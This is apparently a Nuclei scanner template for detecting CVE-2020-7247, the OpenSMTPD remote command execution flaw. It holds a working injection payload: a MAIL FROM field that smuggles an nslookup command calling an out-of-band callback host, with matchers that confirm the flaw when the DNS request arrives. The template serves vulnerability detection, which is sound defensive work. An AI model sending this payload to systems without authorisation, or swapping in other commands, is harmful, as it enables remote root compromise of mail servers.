44 lines
1.4 KiB
YAML
44 lines
1.4 KiB
YAML
id: CVE-2020-7247
|
|
info:
|
|
name: OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution
|
|
author: princechaddha
|
|
severity: critical
|
|
reference: https://www.openwall.com/lists/oss-security/2020/01/28/3
|
|
tags: cve,cve2020,smtp,opensmtpd,network,rce,oast
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2020-7247
|
|
cwe-id: CWE-78,CWE-755
|
|
description: "smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation."
|
|
|
|
network:
|
|
- inputs:
|
|
- read: 1024
|
|
- data: "helo target\r\n"
|
|
read: 1024
|
|
- data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
|
|
read: 1024
|
|
- data: "RCPT TO:<root>\r\n"
|
|
read: 1024
|
|
- data: "DATA\r\n"
|
|
read: 1024
|
|
- data: "\r\nxxxx\r\n.\r\n"
|
|
read: 1024
|
|
- data: "QUIT\r\n"
|
|
read: 1024
|
|
host:
|
|
- "{{Hostname}}"
|
|
- "{{Host}}:25"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: raw
|
|
words:
|
|
- "Message accepted for delivery" |